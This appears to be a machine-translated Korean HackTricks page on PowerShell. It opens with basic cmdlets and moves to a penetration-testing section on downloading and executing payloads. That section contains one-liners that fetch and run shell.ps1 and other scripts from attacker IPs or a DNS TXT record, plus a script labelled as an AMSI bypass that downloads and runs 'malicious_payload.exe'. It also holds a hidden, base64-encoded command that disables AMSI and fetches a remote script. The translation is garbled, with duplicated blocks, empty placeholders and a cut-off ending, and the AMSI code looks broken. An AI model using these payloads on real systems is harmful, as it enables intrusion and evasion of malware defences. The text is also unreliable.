# 기본 PowerShell 위치
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가 수준까지 배워보세요!
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
## 기본 PowerShell 위치
```powershell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```
## 시작하기 위한 기본 PS 명령어
Here are some basic PowerShell commands to help you get started:
다음은 시작하기 위한 몇 가지 기본 PowerShell 명령어입니다:
### Get-Command
Use the `Get-Command` command to retrieve a list of available commands in PowerShell.
PowerShell에서 사용 가능한 명령어 목록을 가져오려면 `Get-Command` 명령어를 사용하세요.
```powershell
Get-Command
```
### Get-Help
The `Get-Help` command allows you to access the built-in help documentation for any PowerShell command.
`Get-Help` 명령어를 사용하면 PowerShell 명령어에 대한 내장 도움말 문서에 액세스할 수 있습니다.
```powershell
Get-Help
```
Replace `` with the name of the command you want to learn more about.
``를 알아보고자 하는 명령어의 이름으로 대체하세요.
### Get-Process
The `Get-Process` command displays a list of currently running processes on the system.
`Get-Process` 명령어는 시스템에서 현재 실행 중인 프로세스 목록을 표시합니다.
```powershell
Get-Process
```
### Get-Service
Use the `Get-Service` command to retrieve a list of services running on the system.
`Get-Service` 명령어를 사용하여 시스템에서 실행 중인 서비스 목록을 가져옵니다.
```powershell
Get-Service
```
### Get-EventLog
The `Get-EventLog` command allows you to access the event logs on the system.
`Get-EventLog` 명령어를 사용하면 시스템의 이벤트 로그에 액세스할 수 있습니다.
```powershell
Get-EventLog -LogName
```
Replace `` with the name of the event log you want to retrieve.
``을 검색하려는 이벤트 로그의 이름으로 대체하세요.
These are just a few basic PowerShell commands to get you started. As you become more familiar with PowerShell, you can explore more advanced commands and techniques.
이것은 시작하기 위한 몇 가지 기본 PowerShell 명령어에 불과합니다. PowerShell에 익숙해지면 더 고급 명령어와 기술을 탐색할 수 있습니다.
```powershell
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module
Get-Command -Module
```
## 다운로드 및 실행
In this section, we will discuss techniques for downloading and executing files using PowerShell. These techniques can be useful for various purposes, such as downloading additional tools or payloads during a penetration test.
### Downloading Files
To download a file using PowerShell, you can use the `Invoke-WebRequest` cmdlet. Here is an example:
```powershell
Invoke-WebRequest -Uri "http://example.com/file.exe" -OutFile "C:\path\to\save\file.exe"
```
In the above example, replace `"http://example.com/file.exe"` with the URL of the file you want to download, and `"C:\path\to\save\file.exe"` with the desired path and filename for saving the downloaded file.
### Executing Files
Once you have downloaded a file, you may want to execute it. To execute a file using PowerShell, you can use the `Start-Process` cmdlet. Here is an example:
```powershell
Start-Process -FilePath "C:\path\to\file.exe"
```
In the above example, replace `"C:\path\to\file.exe"` with the actual path and filename of the file you want to execute.
### Downloading and Executing in One Line
To download and execute a file in one line, you can use the following command:
```powershell
Invoke-WebRequest -Uri "http://example.com/file.exe" -OutFile "C:\path\to\save\file.exe"; Start-Process -FilePath "C:\path\to\save\file.exe"
```
In the above command, replace `"http://example.com/file.exe"` with the URL of the file you want to download, and `"C:\path\to\save\file.exe"` with the desired path and filename for saving the downloaded file.
Remember to exercise caution when downloading and executing files from untrusted sources, as they may contain malicious content.
```powershell
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
```
### AMSI 우회를 사용하여 백그라운드에서 다운로드 및 실행하기
```powershell
$URL = "http://example.com/malicious_payload.exe"
$Output = "C:\Temp\malicious_payload.exe"
# AMSI 우회를 위한 함수 정의
function Bypass-AMSI {
$TypeDefinition = @'
using System;
using System.Runtime.InteropServices;
public class Amsi
{
[DllImport("Amsi.dll")]
public static extern void AmsiScanBuffer(IntPtr amsiContext, IntPtr buffer, uint length, string contentName, IntPtr session, out int result);
}
'@
$AmsiAssembly = Add-Type -TypeDefinition $TypeDefinition -PassThru
$AmsiContext = [System.IntPtr]::Zero
$AmsiAssembly::AmsiScanBuffer($AmsiContext, [System.IntPtr]::Zero, 0, "Bypass-AMSI", [System.IntPtr]::Zero, [ref]0)
}
# AMSI 우회 함수 호출
Bypass-AMSI
# 파일 다운로드 및 실행
Invoke-WebRequest -Uri $URL -OutFile $Output
Start-Process -FilePath $Output
```
이 스크립트는 AMSI(Anti-Malware Scan Interface)를 우회하여 백그라운드에서 악성 페이로드를 다운로드하고 실행하는 방법을 보여줍니다.
```powershell
$URL = "http://example.com/malicious_payload.exe"
$Output = "C:\Temp\malicious_payload.exe"
# AMSI bypass 함수 정의
function Bypass-AMSI {
$TypeDefinition = @'
using System;
using System.Runtime.InteropServices;
public class Amsi
{
[DllImport("Amsi.dll")]
public static extern void AmsiScanBuffer(IntPtr amsiContext, IntPtr buffer, uint length, string contentName, IntPtr session, out int result);
}
'@
$AmsiAssembly = Add-Type -TypeDefinition $TypeDefinition -PassThru
$AmsiContext = [System.IntPtr]::Zero
$AmsiAssembly::AmsiScanBuffer($AmsiContext, [System.IntPtr]::Zero, 0, "Bypass-AMSI", [System.IntPtr]::Zero, [ref]0)
}
# AMSI 우회 함수 호출
Bypass-AMSI
# 파일 다운로드 및 실행
Invoke-WebRequest -Uri $URL -OutFile $Output
Start-Process -FilePath $Output
```
This script demonstrates how to download and execute a malicious payload in the background by bypassing AMSI (Anti-Malware Scan Interface).
```powershell
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
```
### 리눅스에서 b64 사용하기
리눅스에서는 `base64` 명령어를 사용하여 파일을 Base64 형식으로 인코딩하거나 디코딩할 수 있습니다. 이를 통해 파일을 텍스트 형식으로 변환하고 다른 시스템으로 전송하거나 저장할 수 있습니다.
#### 파일을 Base64로 인코딩하기
다음 명령어를 사용하여 파일을 Base64로 인코딩할 수 있습니다:
```bash
base64 >
```
``은 인코딩할 파일의 경로를 나타내며, ``은 인코딩된 결과를 저장할 파일의 경로를 나타냅니다.
#### Base64로 인코딩된 파일 디코딩하기
다음 명령어를 사용하여 Base64로 인코딩된 파일을 디코딩할 수 있습니다:
```bash
base64 -d >
```
``은 디코딩할 파일의 경로를 나타내며, ``은 디코딩된 결과를 저장할 파일의 경로를 나타냅니다.
이렇게 디코딩된 파일은 원래의 이진 형식으로 복원됩니다.
```powershell
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc
```
## 다운로드
### System.Net.WebClient
```powershell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
```
### Invoke-WebRequest
`Invoke-WebRequest`은 PowerShell에서 웹 요청을 보내는 데 사용되는 cmdlet입니다. 이 cmdlet을 사용하면 웹 페이지의 내용을 가져오거나 파일을 다운로드할 수 있습니다.
#### 사용법
```powershell
Invoke-WebRequest [-Uri] [-Method ] [-Headers ] [-Body